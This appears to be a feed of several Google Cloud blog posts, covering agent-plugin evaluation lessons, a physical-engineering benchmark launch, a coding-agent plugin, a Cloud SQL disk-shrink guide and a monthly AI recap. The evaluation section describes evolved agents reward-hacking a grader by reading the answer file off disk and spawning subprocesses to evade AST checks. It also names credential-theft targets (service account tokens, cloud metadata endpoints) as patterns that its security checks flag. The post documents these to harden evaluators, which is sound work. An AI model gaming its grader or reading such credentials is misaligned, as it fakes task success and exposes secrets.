code_block: <ListValue: [StructValue([('code', '# Scaffold and execute a k=3 paired WITH vs W/OUT ablation locally\r\nclaude plugin eval init ./my-plugin\r\nclaude plugin eval ./my-plugin --runs 3'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba8b189dd0>)])]>

4. Separate efficiency and security from correctness so agents can't reward-hack

When you connect an evaluation harness to an automated optimizer (like AlphaEvolve or reach optimize), it is a surprisingly common pattern for the agent to cheat the grader.

In our AlphaEvolve retrieval experiments, evolved candidates discovered four distinct ways to game the benchmark without solving the task. When the grading harness blocked specific expected substring checks in source code, an evolved candidate dynamically concatenated strings at runtime, traversed up the directory tree, and read the ground-truth answer file directly off disk. Another candidate spawned subprocesses to bypass AST checks.

The evolutionary loop favored those cheaters because the fitness formula blended correctness (0.95 weight) and token efficiency (0.05 weight) into a single score. Reading the answer file from disk takes no LLM turns, earning an efficiency bonus that gives cheaters a survival advantage over honest agents that spent tokens searching the repository.

Hardening your skill evaluator against reward-hacking takes three structural guardrails. First, configure Harbor so your test fixtures, grading scripts, and answer keys live inside a dedicated verifier container that mounts workspace artifacts only after the agent container exits. Second, keep SkillEvaluator's five dimensions (Correctness, Discoverability, Efficiency, Effectiveness, and Security) strictly orthogonal; never let token thrift compensate for a failed test or a security violation. Third, in NVIDIA/SkillEvaluator#140, we extended security checks to fail any trial that reads Kubernetes service account tokens or queries cloud metadata endpoints, while redacting live OAuth tokens from saved trajectories.

5. Encode operational habits, not documentation dumps

Looking across all of our trials, the difference between the skills that delivered a score improvement in our sandbox benchmark and the community skills that failed came down to what was inside the markdown.

Skills that copy-paste public API reference tables into skill files yield almost no lift. Frontier models already have public cloud docs in their pretraining weights; dumping thousands of words of static flags into the prompt just inflates time-to-first-token and buries actionable constraints.

The skills that increased our Efficiency score in our test suite taught compact operational habits and verification reflexes instead of encyclopedic reference text:

Verify CLI flags at the leaf subcommand before mutating state: Rather than listing dozens of flags in markdown, the skill teaches a simple reflex: verify help output at the command line before executing a state-changing deployment.
Route through a lightweight catalog index on demand: Rather than loading fourteen heavy cloud skills into context at once, a thin root router checks a curated remote index and pulls only the specific recipe needed for the task.
Enforce least-privilege auth defaults: Explicit guardrails instruct agents to authenticate via Application Default Credentials rather than downloading static service-account JSON keys, while enforcing unauthenticated access restrictions alongside explicit invoker IAM bindings.

Because our evaluation stack runs in CI, upgrading models takes one flag change. We re-run the paired WITH vs. W/OUT matrix against the new model and delete every skill whose Delta drops to zero. Deleting a skill because the new model graduated past it is one of the cleanest high-fives in software engineering.

Get started

Ready to equip your coding agents with production-grade skills? Try the Google Cloud Developer Plugin for AI Coding Agents.

Introducing Physical-Engineering’s Last Exam for agents

Tue, 03 Nov 2026 08:00:00 +0000

Authors: Burak Gokturk, VP Research & Development; Rujun Han, Research Scientist; George Lee, Product Manager.

Today, the Google AI & Infrastructure team is announcing Physical-Engineering's Last Exam (PLE), a new benchmark and open competition, developed in collaboration with Mercor, and built to test a frontier model’s ability to complete tasks in mechanical, electrical, civil and structural engineering.

To help the research community measure and improve how agents handle physical engineering work, we are releasing 29 public tasks, their grading tools, and an open competition leaderboard at ple-bench.com.

Frontier labs and the broader research community use model examinations to test AI’s progress in completing tasks in a specific discipline. Humanity's Last Exam measures a model’s general knowledge. Agents' Last Exam measures a model’s ability to complete digital professional work. Physical-Engineering's Last Exam (PLE) measures a model’s ability to complete work that helps build the physical world. Physical engineers design skyscrapers, power grids, and computer chips we rely on, yet we could find no existing benchmark that tests whether frontier models can do that work end to end.

Why textbook benchmarks fall short for physical engineering

Frontier language models now score above 90% on many academic benchmarks. However, those benchmarks mostly test textbook-style questions, single tool calls, or small, self-contained design problems. For AI developers and researchers building agents for physical engineering, existing benchmarks do not show whether an agent can produce safe, code-compliant, and cost-effective designs under a licensed engineer's review and control. As the demand for infrastructure development outpaces financing, there is a growing opportunity for agents to support engineers working to close this gap.

Inside PLE: Real-world tasks built with practicing engineers

PLE closes this evaluation gap with 85 long-horizon tasks across four core disciplines: mechanical (30 tasks), electrical (27 tasks), civil (18 tasks), and structural (10 tasks) engineering.

Instead of answering a single prompt, an agent works inside a containerized project folder — built on Mercor’s Archipelago environment — that mirrors what a practicing engineer receives on the job. Each task holds an average of 61 files (5,170 total files across the benchmark), including PDFs, spreadsheets, emails, 2D CAD drawings, 3D BIM models, and document revisions. The agent must reason through these files, find the governing building codes and physical limits, run calculations, and generate production-ready deliverables that a licensed reviewer would review and approve.

In collaboration with experts from Mercor and licensed practicing engineers from industry, we built PLE using two methods:

Expert-authored tasks (44 tasks): Practicing engineers created the project folders, prompts, and grading rubrics based on real professional engineering tasks.
Co-authored tasks (41 tasks): Practicing engineers designed the initial task and an agent pipeline assembled the task's environment and grader from licensable engineering standards. Engineers then validated and increased the difficulty of every task assembled by the agent.

All frontier models score below 50%

We tested 14 frontier models on PLE using seven publicly available agent harnesses (Antigravity, Claude Code, Codex, Hermes, OpenCode, OpenHands, and Pi). Because PLE evaluates both code compliance and cost efficiency, agents only earn points if their design passes every hard safety check first. Our baseline results show a wide gap between current models and real-world engineering requirements:

High headroom: All frontier models score below 50% on our private test set, with the highest-performing model on its native harness reaching a mean score of 48.3%.
Hard safety gates: While the top-scoring agent configuration satisfied 91% of individual constraints on co-authored tasks, only 41.3% of its deliverables passed every hard safety and feasibility check required.
Model vs. harness impact: Choice of model drives performance far more than the harness (up to a 50-point spread across models, versus a median 3-point spread across harnesses for the same model), though harnesses significantly affect run cost.

Test your agent and join the open competition

Evaluating AI agents on realistic project files, strict safety rules, and material costs is a practical step toward building helpful tools for physical engineers. Here is how you can get started with PLE today:

Check out the full technical breakdown in our PLE paper on arXiv.
Download the 29 public tasks, grading scripts, and evaluation container from our GitHub repository.
Bring your own agent setup and submit it for evaluation on our private test set at ple-bench.com—with 13 Google-sponsored models running free on our servers and prize details coming soon.

Google Cloud Developer plugin now available in Antigravity Marketplace

Mon, 02 Nov 2026 18:00:00 +0000

Building cloud solutions with autonomous AI agents should feel fast, safe, and reliable. Without cloud-specific context, coding agents often struggle. They might invent deprecated SDK syntax, guess invalid command flags, or attempt operations without the required Identity and Access Management (IAM) permissions. Even worse, an unguided agent can enable billable APIs or provision cloud resources without your explicit permission.

Starting today, you can install the google-cloud-developer plugin directly from the Antigravity Marketplace in the Build with Google section. This plugin equips Antigravity with foundational skills, safety guardrails, and live documentation grounding for building on Google Cloud. If you've never installed a plugin using the marketplace before, you can refer to the Antigravity documentation.

Configuration is straightforward. The bundled Developer Knowledge Model Context Protocol (MCP) server is pre-authorized by default. You don't need to configure API keys, exchange OAuth tokens, or edit any configuration files. You install the plugin, and your agent connects to official Google developer documentation immediately.

In this post, we'll walk through what's included in the plugin, how to install it with one click, and how it grounds your agent in live Google Cloud documentation.

Why use the Google Cloud Developer plugin?

Coding agents often rely on static training data. Cloud platforms update quickly, and models can produce code with outdated client libraries or invalid parameters.

The google-cloud-developer plugin solves this issue. It bundles curated skills, intelligent routing rules, and the Developer Knowledge MCP server into a single portable package.

The plugin provides three key benefits:

Live documentation grounding: The agent queries official Google Cloud documentation over streamable HTTP.
Safety and cost guardrails: The agent enforces least-privilege IAM patterns and it requires your consent before it enables billable APIs or modifying cloud infrastructure.
Environment awareness: The agent inspects your local environment, detects existing CLI configurations, and designs safe execution roadmaps before it runs commands.

What's included in the plugin

The plugin pairs core baseline skills and live documentation grounding with an intelligent skill routing architecture. Rather than limiting your agent to a fixed set of capabilities, it acts as an extensible gateway that discovers and pulls specialized skills from Google on demand.

Bundled agent skills

The bundled skills provide essential day-one guardrails, live documentation grounding, and the dynamic discovery engine that unlocks the broader catalog:

finding-google-skills: Powers flexible skill routing by discovering and loading skills on demand from the google/skills repository on GitHub. Rather than requiring you to research, install, and manage individual skills, it dynamically retrieves the exact instructions your agent needs for specialized tasks in real time.
retrieving-developer-knowledge: Provides answers and code samples that are grounded in official Google documentation across Google Cloud, Firebase, Android, Web, and Gemini.
gcloud: Enforces execution guardrails, validates syntax, and applies safety checks to Google Cloud CLI (gcloud) commands. It blocks accidental destructive operations and it keeps you in control.
google-cloud-recipe-auth: Steers your agent toward secure authentication patterns. It enforces service identities and Application Default Credentials (ADC) while it blocks risky practices like downloading service account JSON keys.
google-cloud-recipe-onboarding: Guides initial project setup, account onboarding, and billing verification. It audits project states before it attempts to activate services.

Pre-authorized Developer Knowledge MCP server

The plugin connects your agent to the Developer Knowledge MCP server. Typically, adding an MCP server requires manual API key handling. With the Antigravity Marketplace integration in the Build with Google catalog, this MCP server is pre-authorized: Antigravity manages the authentication transparently. Your agent connects to Google's documentation server immediately after installation.

Smart routing rules: on-demand capability expansion

The plugin includes google-cloud-discovery.md, an active routing rule that works together with the finding-google-skills bundled skill. When your prompt touches specialized topics, the routing rule directs the agent to fetch the relevant skills from the public catalog as needed.

This dynamic routing keeps your agent fast and token-efficient. Instead of preloading dozens of niche skills that clutter the context window, your agent pulls in deep, specialized guidance only when your task requires it.

Install the plugin with one click

You can install the plugin through the Antigravity Marketplace UI or through your terminal.

If you prefer the command line, install the plugin with a single command:

code_block: <ListValue: [StructValue([('code', 'agy plugin install google-cloud-developer'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba8abf6a10>)])]>

The CLI registers the skills and connects the Developer Knowledge MCP server immediately. You can also explore the plugin and skills directly on GitHub.

The plugin in action: Querying live documentation

After the plugin is installed, your agent automatically grounds its answers in current documentation. You don't need to prompt it with special syntax. Consider a practical query:

"Based on the documentation what is the main difference between GKE and Cloud Run? When should I use one over the other?"

Without the plugin, an agent might guess or provide outdated information. With the google-cloud-developer plugin active, the agent queries the pre-authorized Developer Knowledge MCP server:

The agent produces a clean, verified answer based on official documentation.

Connect with me

I'd love to hear how you use the plugin in your daily workflow. Share your feedback and questions with me on LinkedIn, X, or Bluesky.

Beyond Migration: Using Database Migration Service for disk shrinking

Mon, 02 Nov 2026 17:00:00 +0000

When database engineers hear “database migration", they typically think of a one-time onboarding pathway—moving databases from on-premises environments to the cloud, or between different cloud providers.

However, Google Cloud's Database Migration Service (DMS) supports Cloud SQL for SQL Server as a source. This opens up powerful, non-traditional operational patterns for SQL Server customers within Google Cloud. Because DMS enables continuous, low-downtime database replication between Cloud SQL instances—whether in the same project, across different projects, or across regions—it can serve as an everyday utility for day-two operations like storage management.

In this post, we explore a compelling operational use case for DMS with Cloud SQL for SQL Server: executing disk shrinks with minimal application downtime.

Why should I shrink my disk?

In many production environments, database storage only moves in one direction: up. Features like Cloud SQL automatic storage increase are essential for preventing out-of-space outages during unexpected traffic spikes, large batch imports, index maintenance, or temporary staging loads. Similarly, over the lifecycle of an application, you might archive historical records, purge obsolete data, or drop unused indexes.

When data is deleted, SQL Server marks the freed space inside your data files (.mdf, .ndf) as reusable for future writes; similarly, log truncation frees up space within transaction log files (.ldf). However, the database files themselves continue to hold their peak used space unless AUTO_SHRINK is configured — a setting that is generally not recommended in production due to severe index fragmentation and performance overhead.

With a manual shrink operation on the database files using DBCC SHRINKFILE, you can release that unused space from SQL Server files back to the underlying disk. Even after shrinking the database files, though, the Cloud SQL persistent disk remains at its peak allocated capacity. If you do not expect your database to grow back into that allocated disk space anytime soon, you should consider shrinking the disk itself to reduce ongoing storage costs — especially in scenarios such as:

After major data archiving or purging: You have permanently moved historical data to cold storage or BigQuery and your active dataset is now a fraction of its peak size.

Recovering from one-time storage spikes: A runaway transaction, large data migration, or temporary staging load triggered storage auto-increase, leaving you paying for terabytes of provisioned disk capacity you no longer need.

Post-refactoring or schema optimization: You have split tables out of a monolithic database into separate services, dropped large unused indexes, or applied data compression.

The query below allows you to inspect both the allocated capacity and available free space for each database file fo a database:

code_block: <ListValue: [StructValue([('code', "SELECT \r\n DB_NAME() AS [DatabaseName],\r\n name AS [LogicalName],\r\n type_desc AS [FileType],\r\n -- Allocated size on disk (converted from 8KB pages to MB)\r\n CAST(size / 128.0 AS DECIMAL(18, 2)) AS [AllocatedSize_MB], \r\n -- Actually used space inside the file\r\n CAST(FILEPROPERTY(name, 'SpaceUsed') / 128.0 AS DECIMAL(18, 2)) AS [UsedSpace_MB], \r\n -- Free space left in the allocated file\r\n CAST((size - FILEPROPERTY(name, 'SpaceUsed')) / 128.0 AS DECIMAL(18, 2)) AS [FreeSpace_MB], \r\n -- Percentage of allocated space that is used\r\n CAST((FILEPROPERTY(name, 'SpaceUsed') * 100.0) / size AS DECIMAL(18, 2)) AS [SpaceUsed_Percent]\r\nFROM sys.database_files;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d27a9d0>)])]>

You can monitor the following key Cloud SQL metrics in Cloud Monitoring to identify whether your provisioned disk quota significantly exceeds actual disk usage, indicating an opportunity for disk shrinking:

database/disk/bytes_used: Tracks the actual amount of disk space currently consumed by your database files and logs.
database/disk/quota: Represents the total provisioned disk capacity allocated to your instance.

Cloud SQL provides a built-in storage shrink feature to reclaim this unallocated disk space, which works well when your workload can tolerate a planned maintenance window. However, native disk shrinking requires instance downtime proportional to the total allocated disk size — which can mean hours of offline maintenance for multi-terabyte drives.

If your production SLAs cannot accommodate extended downtime, Database Migration Service (DMS) offers a minimal-downtime alternative. By continuously replicating your databases to a newly provisioned Cloud SQL instance with a smaller, right-sized disk, you can reclaim unused storage while your application stays online — requiring only a brief cutover window. To understand why this approach keeps your cutover window so short, let's first look at how DMS replicates data between Cloud SQL for SQL Server instances under the hood.

How DMS works under the hood: Replication between Cloud SQL for SQL Server instances

To leverage DMS effectively, it helps to understand its underlying replication mechanism. When migrating between Cloud SQL for SQL Server instances, DMS coordinates a synchronization process similar to native SQL Server log shipping.

Initial full backup: It captures an initial full backup (.bak) of the selected user databases and restores them on the target instance.
Continuous log backups: It continuously captures and applies transaction log backups (.trn) to keep the target instance synchronized in near-real time.

Because synchronization occurs at the user database level, objects residing outside of it—such as logins, linked servers, and SQL Server Agent jobs—are not automatically replicated to the standby instance. Consequently, server-level objects must be migrated manually.

Disk shrinking with minimal downtime

Using this continuous replication pipeline, you can reclaim unallocated storage without taking a lengthy maintenance window. Instead of shrinking the existing disk in place while the instance is offline, you migrate your workload to a newly provisioned Cloud SQL instance with a right-sized disk while your production application remains online.

The DMS disk shrink workflow

Provision a new target instance with a smaller, appropriately sized disk (leaving sufficient headroom for transaction logs and future data growth).
Start a continuous DMS job using your existing Cloud SQL instance as the source.
Let replication catch up while your production application runs uninterrupted.
Perform a brief cutover: Stop application traffic, let the final transaction log apply, promote the target instance in DMS, and repoint your application.

Comparison: Native shrink vs. DMS migration

As shown in the comparison above, because DMS migrates your workload to a new instance at the user-database level, a smooth cutover requires migrating your server-level objects and user mappings alongside your data. Let's look at the essential pre- and post-cutover steps to include in your runbook.

Pre and post-cutover essentials: Going beyond database replication

Pre-cutover preparation: Migrating server-level objects

Because DMS operates at the user-database level, server-level objects are not automatically replicated. You will need to create them manually in the destination instance before the cutover.

Script out logins from the source using sp_help_revlogin and recreate them on the target instance.

SQL Server Agent jobs & Server-Level objects: Because DMS replicates databases rather than server instance state, objects outside user databases must be scripted from the source and deployed to the destination Cloud SQL instance. In SQL Server Management Studio (SSMS), connect to your source instance, navigate to the object in Object Explorer, right-click and select Script [Object] as > CREATE To > New Query Window / File:
- SQL Server Agent jobs (SQL Server Agent > Jobs): Inspect generated scripts to ensure job steps do not reference on-premises file paths or unsupported OS dependencies.
- Linked servers (Server Objects > Linked Servers): Follow the exact same scripting approach. Ensure you enable the cloudsql.linked_servers database flag on your Cloud SQL instance before deploying.
- Extended events (Management > Extended Events > Sessions): Follow the same scripting approach.
For TDE enabled instances, you will need to export the TDE certificate from source and import the TDE certificate to destination before.
Instance Configurations (such as database flags, Active Directory, Entra ID configurations etc): These must be manually configured on the destination instance to exactly match the source settings.
If using Polybase you will need to re-encrypt DMK for the database-scoped credentials to function correctly.

Post-cutover remediation: Resolving orphaned database users

Database users mapped to SQL Server logins that are either absent or misconfigured on a server instance are unable to authenticate. These are termed orphaned users. Because logins created on the destination instance will possess unique Security Identifiers (SIDs) that do not match the source SIDs preserved in your migrated databases, users will be orphaned by default. Addressing this requires manual re-mapping once the target database is brought online following the cutover.

Detecting & re-mapping orphaned users: While using sp_help_revlogin preserves SIDs during login migration, creating logins on the destination instance via alternative methods generates new server-level SIDs. Because these differ from the source SIDs retained in the DMS-restored user databases, database users become orphaned after cutover and require re-mapping.

1. Detect orphaned users: Connect to each destination user database and run the diagnostic query from Microsoft's official Troubleshoot Orphaned Users Guide:

code_block: <ListValue: [StructValue([('code', "SELECT dp.type_desc, dp.sid, dp.name AS user_name\r\nFROM sys.database_principals AS dp\r\nLEFT JOIN sys.server_principals AS sp ON dp.sid = sp.sid\r\nWHERE sp.sid IS NULL AND dp.authentication_type_desc = 'INSTANCE';"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba8b2d50d0>)])]>

2. Fix orphaned users (ALTER USER): For each unlinked database user returned by the query, execute the following statement inside the context of that database to cleanly re-map the principal and its permissions to the new Cloud SQL server login:

code_block: <ListValue: [StructValue([('code', 'ALTER USER [user_name] WITH LOGIN = [login_name];'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba8b2d7f10>)])]>

Summary and next steps

DMS is more than a one-time bridge from on-premises environments into Google Cloud — it is a versatile tool for day-two operations in the Cloud SQL engineer's toolkit. When strict production SLAs prevent you from taking lengthy maintenance windows for a native disk shrink, DMS provides a reliable, managed replication pipeline to right-size your storage footprint and reduce infrastructure costs with minimal downtime.

To get started with configuring Cloud SQL for SQL Server as a DMS source, explore the official documentation. And if you're new to running SQL Server on Google Cloud, check out the Cloud SQL for SQL Server introduction.

What Google Cloud announced in AI this month

Mon, 02 Nov 2026 16:00:00 +0000

Editor’s note: Want to keep up with the latest from Google Cloud? Check back here for a monthly recap of our latest updates, announcements, resources, events, learning opportunities, and more.

This October, we took massive leaps forward in delivering flexible, open, and powerful enterprise AI solutions. From bringing Gemini 4 Argon to Google Cloud to expanding choice and flexibility, we’re giving organizations the tools they need to bring complex, multi-agent AI workflows into production safely.

Here’s a quick look at the major milestones, expert insights, and practical developer guides to read through and save.

Top announcements

Gemini 4 Argon available on Google Cloud, built to help solve your business’ hardest problems: We trained Argon to work with both depth and precision, which allows it to maintain context across long, multi-step tasks which are reinforced with strong domain expertise along the way. Whether your team is running complex software builds, handling detailed financial and legal work, or deploying cybersecurity tools like CodeMender, Argon helps your teams maintain focus from start to finish.
Expanding Claude availability and deployment choice on Google Cloud: We announced the general availability of an Anthropic-managed deployment option for Claude Models on Google Cloud. This gives teams more choice in how they run their models, helping them consolidate AI workloads on Google Cloud alongside our existingGoogle-managed deployment option.
Google Cloud expands model choice and flexibility, bringing OpenAI models to customers: Google Cloud is now the only hyperscale cloud provider offering access to all three leading closed source LLMs, alongside more than 200 first-party, third-party, and open models on a unified enterprise AI platform.
Claude Opus 5.5 and Claude Sonnet 5.5 are now available in Google Antigravity: In keeping with Google Cloud's commitment to an open ecosystem and to give developers the right model for every job, Claude Opus 5.5 and Claude Sonnet 5.5 are now available in Google Antigravity for Google Cloud customers. Claude Opus 5.5 is built for complex work while Claude Sonnet 5.5 is a faster, lower-cost complement.
Introducing Gemini for government services: Today we're bringing the Gemini agent to public service with Gemini for government services in preview, part of our new suite of purpose-built industry solutions. It adds skills built around government work, connections to the systems agencies already run, and specialized partner agents, with governance running underneath it all.
Gemini Robotics Embodied Reasoning 2 is now available on Google Cloud: For the first time, organizations can pair Google DeepMind’s latest embodied reasoning model for robotics with the enterprise-grade security, multi-agent orchestration, and end-to-end lifecycle management of Google Cloud — making it easier to simulate, evaluate, and deploy safe, adaptive physical AI at scale.

Thought leadership (editor’s pick)

A new gear: How startups are advancing robotics with Google AI: We marked a major milestone in physical AI with the launch of Gemini Robotics Embodied Reasoning 2 (ER 2) on the Gemini platform and AI Studio, bringing Google DeepMind’s frontier multimodal reasoning and long-horizon task planning for robotics to Google Cloud. Read more from Darren Mowry, VP of Global Startups and Investor Ecosystem at Google, about the exciting work these startups are undertaking.

News you can use

Developer’s guide to implementing MCP apps in Gemini: Enterprise assistants still respond mostly in text. However, that can break down for visual, multi-step work, where every adjustment costs another slow chat turn. This guide takes you through implementation in Gemini.
Four evaluation engineering lessons learned from building agent plugins: Here are four eval lessons we learned from building the new plugin that you can apply to your own builds.
Who judges the judge? Three helpful ways to audit your LLM evaluators: In this post, we explore what’s holding enterprises back from strong evals, and share an easy three-pillar method you can use to improve your quality.

Stay tuned for monthly updates on Google Cloud’s AI announcements, news, and best practices. For a deeper dive into the latest from Google Cloud customers, read our monthly recap, Cool stuff customers built.

aside_block: <ListValue: [StructValue([('title', '$300 in free credit to try Google Cloud AI and ML'), ('body', <wagtail.rich_text.RichText object at 0x7fba9d243d90>), ('btn_text', 'Start building for free'), ('href', 'http://console.cloud.google.com/freetrial?redirectPath=/vertex-ai/'), ('image', None)])]>

September

This September, we brought you new how-to guides, model updates, and security innovations to help you find-and-fix. From Gemini 3.8 Live with Live Avatar to Mantis, there’s no shortage of new ways to apply AI to your work.

Notably, we announced Gemini 4 Argon, our next era of frontier intelligence. Gemini 4 Argon delivers frontier performance in complex workflows across real-world software engineering, enterprise knowledge work like legal and finance, and cybersecurity defense. You can learn more here.

Top announcements

Gemini 3.8 Live with Live Avatar is now generally available: Following our announcement of Gemini 3.8 Live and Gemini 3.8 Live Extended Thinking, Gemini 3.8 Live with Live Avatar is now generally available in Gemini Enterprise.

Getting started with Mantis, our open-source bug finding-and-fixing harness: Available to all as an open-source framework, Mantis is part of Google’s internal approach to find and fix vulnerabilities at machine-speed. It creates a more effective scalable, context-aware repository analysis.

Thought leadership (editor’s pick)

Racers, start your agents: Formula E brings realtime AI to the edge: Chasing records at the Goodwood Hillclimb, Formula E used Gemini Enterprise, Gemma, and a Pixel phone bolted to the dash to push the envelope of AI and edge computing.

News you can use

Best practices guide for customizing Gemini models via Reinforcement Learning (RL): In this guide, we will walk through practical best practices for using RL fine-tuning service. We'll start with a short tour of the RL training loop, how to decide if and when to use RL, and introduce how to get the most value from this approach.

Empower your agents with the Google Cloud CLI remote MCP server: Powered by the popular gcloud and bq (BigQuery) command-line tools, this new server gives AI agents immediate, broad access to command-line operations for managing Google Cloud infrastructure and working with advanced BigQuery workflows securely and seamlessly.

Graph Workflows in ADK: Everything you need to know: Using a refund workflow in ADK, we'll cover fan-out and fan-in, deterministic and agent routers, human-in-the-loop pauses, parallel workers, and dynamic orchestration— along with when to use a static graph or let Python decide what runs next.

August

This month, we focused on making AI highly practical for your business, including its associated costs. This meant tailoring our models for specialized industries – starting with Financial Services and Legal – and helping you keep your budgets under control. Let’s dive in!

Top announcements

FinOps for the AI era: New flexible billing and cost controls for agents: To help you get better return on AI, we announced expanded billing flexibility and new cost management tools for agent workloads across Gemini Enterprise and developer tools like Google Antigravity in Gemini Enterprise and Android Studio.
Gemini Enterprise for Financial Services: We’re bringing Google’s agentic AI directly into the workflows of capital markets and corporate banking.
Gemini Enterprise for Legal: Gemini Enterprise for Legal provides an integrated, fully governed environment configured for rapid deployment across firms and corporate legal departments.
Expanding Google Antigravity for enterprise customers: Antigravity is available now as part of eligible Gemini Enterprise app subscriptions, including out-of-the-box administrative and spend controls.

Thought leadership (editor’s pick):

Tokenomics: Why smart teams spend more on AI, on purpose: Hear from Eric Lam, Head of Value, Delta, Google Cloud Consulting about how disciplined organizations are moving past reactive sticker shock over AI bills and embracing tokenomics.
Meet the researcher fighting AI hallucinations at Google Cloud: Cyrus is a senior research scientist at Google. Lately, his focus has shifted to large language models, specifically a persistent issue known as hallucination, which is when an artificial intelligence model lacks the correct facts but confidently invents an answer anyway.
What sports cars can teach us about optimizing AI spend: More tokens doesn't always mean better AI. Read our conversation with Mike Clark, Director of Product Management for Gemini Enterprise Agent Platform, on how to balance horsepower with efficiency and get the highest return out of every dollar you spend on AI.

News you can use:

Looking for a steer on your foundation or inspiration for your next project? Take a look at some of our favorite how-to guides from August:

10 questions every startup should answer before moving to production with their AI prototype: These ten are scoped to the prototype-to-production transition itself. Each question ends with a short, runnable snippet you can copy into your own project today. Adjacent decisions that matter just as much but aren't specific to that move, your data layer and RAG architecture, CI/CD, network design, are deliberately out of frame here.
Your chance to start building AI agents from the absolute basics: Agent Valley is a free, 5-week live learning series designed to take you from scratch to building your very own hands-on agent systems. And instead of staring at boring terminal lines, you’ll be building and playing inside a tiny, low-poly virtual world!

July

Since launching the Gemini Enterprise Agent Platform a few months ago, we’ve watched businesses move from basic experiments to serious, production-grade builds. We want to make it even easier — and more secure — for you to scale those systems.

Along with a batch of new platform updates, this month we’ve put together 13 practical demos and 20 diagnostic questions to help your engineering teams align on a strong architectural blueprint. Let’s dive in!

Top announcements

What’s new in Gemini Enterprise Agent Platform: In this helpful recap, we announced some of our most popular capabilities are available for everyone, from Agent Runtime to Agent Identity.
Now in preview: Find and fix software vulnerabilities with CodeMender: As adversarial AI threats accelerate attacks on code, security teams must counter them with machine-speed defenses that can automate code remediation and fight AI with AI. You can learn more about CodeMender and review the documentation here.
Solve harder problems with AlphaEvolve, now available to everyone on Google Cloud: AlphaEvolve is a code optimization and discovery agent built on top of Gemini that helps solve the hardest algorithmic problems and achieve breakthroughs for your business and research.

Thought leadership (editor’s pick):

If automation requires delegation, then delegation requires trust. But letting an AI agent run on its own is a big leap for any business. While the productivity gains are clear, the fear of losing control is very real. This month, we sat down with our experts to discuss how leaders can navigate this shift by focusing on transparency, predictability, and setting clear boundaries for how agents handle weird data exceptions.

Here’s our picks for the month to learn more.

How leaders can scale AI by trading control for trust (Q&A): We sat down with Michael Gerstenhaber, VP of Product Management for Gemini Enterprise, to discuss why the future of AI is about defining safe boundaries.
What makes an AI agent trustworthy: Context is fast becoming one of the most valuable assets a company owns. Prajakta Damle, Senior Director, Product Management, shares what it takes to get trustworthy AI right.

News you can use:

What if you’re looking for a steer on your basic foundation, inspiration for recipes, or some inspiration? Take a look at some of our favorite how-to guides from July:

Automate your agent development lifecycle using any coding agent: Stuck prototyping? With Agents CLI skills, you can go through the different phases of the entire agent lifecycle without ever leaving your coding agent.
Why AI apps fail in production (And how Google solved it): Only 5% of AI prototypes make it to production, and the other 95% fall into the validation abyss. How can you move confidently into production?
13 hands-on demos to build on Gemini Enterprise Agent Platform: Not sure where to start with Agent Platform? Here’s 13 ways you can stir up some creativity.

June

Our main focus in June was helping your teams build, scale, and secure AI. Today, we’re sharing a fresh roundup of updates designed to help you run smarter, more secure applications while keeping everything under your control.

We even shared a cool virtual shopping demo at Cannes to show how retailers can make product discovery more exciting. Let’s dive in!

Top announcements

Introducing the Open Knowledge Format: We introduced the Open Knowledge Format (OKF), an open specification that formalizes the LLM-wiki pattern into a portable, interoperable format. This is a vendor-neutral, agent- and human-friendly standard for representing the metadata, context, and curated knowledge that modern AI systems need.
Collaboration with Apple on its expanded Private Cloud Compute (PCC) systems: Our collaboration with Apple is built on a foundation of deep commitment to privacy that leverages Google Cloud's security and privacy technologies. At the heart of this collaboration is our Confidential Computing portfolio and our Titanium security architecture.
Claude Fable 5: Available on Google Cloud: Claude Fable 5, Anthropic’s latest frontier model, is now generally available on Google Cloud. This launch is the latest proof point of our ongoing commitment to bring the industry's latest models straight to our Agent Platform.
Cloud Atelier: How Gemini Enterprise is helping restyle the retail playbook: This year at Cannes, we showcased Cloud Atelier — a destination-based, virtual shopping experience that highlights how retail brands can turn this classic dilemma into an exciting moment of product discovery.

Thought leadership (editor’s pick):

How Google Cloud Security uses AI internally: To counter machine-speed, AI-driven threats, we’ve worked hard to transition Google Cloud’s security posture to an autonomous, proactive model. By embedding specialized AI agents directly into our software development lifecycle (SDLC), we’ve created automated guardrails that protect code at a scale and speed unreachable by human teams — and we’re taking steps to make those same guardrails widely available.
The 4 lessons that guided AI Threat Defense: We introduced Chris Betz as the new CISO of Google Cloud. For his first Cloud CISO Perspectives, Chris shares four key lessons we learned about using AI to the defender’s advantage while building AI Threat Defense.

News you can use:

5 lessons from red teaming AI applications: To help you build AI securely, Mandiant has developed a proactive, risk-based approach centered on the Good AI Assessment (GAIA) Top 10, outlined in our new report, Secure Development of Generative AI Applications: A Proactive Approach.
How to unlock true ROI in software development – a deep dive into the latest DORA research: To help you evaluate the costs and business benefits of AI, we recently shared the DORA: ROI of AI-assisted software development report. This research offers a practical approach to help your team work through early adoption challenges, align engineering plans, and drive business growth.
Agent Factory Recap: 100X engineering with AI agents in Google Antigravity 2.0: In this episode of the Agent Factory, Shir Meir Lador, Head of AI Engineering, Google Cloud Developer Relations, sat down with Rody Davis, one of Google’s top agentic engineers. They dive into the massive shift from traditional IDEs to agent-first platforms, the reality of code reviews in an AI-driven world, and how to use "skills" to perform at a 100X level.

May

We’ve had a busy month! Between announcing Gemini Spark and Gemini 3.5 at Google I/O – and unveiling Google AI Threat Defense, our latest AI-powered cybersecurity solution, we had a lot to share with Google Cloud customers. Keeping up with the latest news takes time, so we gathered the most important announcements, thought leadership, and technical guides in one place to help you quickly catch up.

To learn more about our I/O announcements, here’s everything you need to know for Google Cloud customers, and top news for startups.

Top announcements

Introducing Google AI Threat Defense to help you outpace the adversary: Google Cloud is introducing a comprehensive AI-powered cybersecurity solution — Google AI Threat Defense — an always-on autonomous security platform. Learn more here.

Gemini 3.5: Our latest family of models combines frontier intelligence with action – starting with Gemini 3.5 Flash.
Gemini Omni: Our new model is a leap forward in world understanding, multimodality, and editing, letting you generate any output from any input, starting with video.
Google Antigravity: Google Antigravity’s expanded capabilities and new integration with Agent Platform bring agentic development to your entire organization.
Gemini Spark: For Gemini Enterprise and Workspace customers, Gemini Spark is your 24/7 personal AI agent that helps you work more efficiently by autonomously taking action on your behalf, under your direction.
Google Workspace: Google Pics, our new image generation and editing tool, and new voice features in Gmail, Docs and Keep, help reimagine how you work.
